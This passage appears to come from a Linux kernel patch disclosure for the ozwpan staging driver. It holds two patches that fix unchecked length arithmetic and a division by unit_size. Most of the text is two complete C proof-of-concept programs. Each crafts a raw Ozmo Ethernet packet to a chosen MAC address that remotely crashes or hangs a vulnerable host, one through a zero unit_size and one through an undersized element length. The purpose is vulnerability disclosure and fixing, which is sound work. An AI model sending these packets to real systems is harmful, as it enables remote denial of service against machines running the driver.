	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed)
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

index b573ad3..7b13dc9 100644
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n = (len - sizeof(struct oz_multiple_fixed)+1)
+			int n;
+			if (!body->unit_size)
+				break;
+			n = (len - sizeof(struct oz_multiple_fixed)+1)
 				/ body->unit_size;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,

2.4.2

The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed) - 3
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 1,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozusbsvc1.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

index 7b13dc9..f660bb1 100644
@@ -326,10 +326,11 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n;
-			if (!body->unit_size)
+			unsigned int n;
+			if (!body->unit_size ||
+				len < sizeof(struct oz_multiple_fixed) - 1)
 				break;
-			n = (len - sizeof(struct oz_multiple_fixed)+1)
+			n = (len - (sizeof(struct oz_multiple_fixed) - 1))
 				/ body->unit_size;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,

2.4.2